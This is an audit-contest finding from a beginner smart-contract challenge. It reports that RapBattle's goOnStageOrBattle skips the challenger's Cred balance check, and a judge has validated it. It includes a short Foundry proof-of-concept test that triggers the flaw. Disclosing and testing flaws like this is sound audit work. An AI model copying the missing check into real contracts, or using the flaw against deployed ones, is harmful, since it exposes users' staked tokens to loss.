Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

The Challenger user can challenge the Defender without having the Cred balance, leading to risk zero and no reward to the Defender if he won.

  • Description:

    • RapBattle::goOnStageOrBattle has no balance verification. In this scenario, the challenger doesn't need to have CredToken to call the function.

    • Impact:

      • The defender will not receive rewards if he wins the battle. If the challenger wins, the defender still loses cred.

    • Proof of Concept:

      Add the code below to `OneShotTest.t.sol`
      function testPoCGoOnStage() public mintRapper {
      vm.startPrank(address(streets));
      cred.mint(user, 10);
      vm.stopPrank();
      vm.startPrank(user);
      oneShot.approve(address(rapBattle), 0);
      cred.approve(address(rapBattle), 10);
      rapBattle.goOnStageOrBattle(0, 10);
      address defender = rapBattle.defender();
      vm.stopPrank();
      assert(defender == address(user));
      uint256 slimBalance = cred.balanceOf(challenger);
      vm.startPrank(challenger);
      console.log(slimBalance);
      rapBattle.goOnStageOrBattle(0, 10);
      }
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.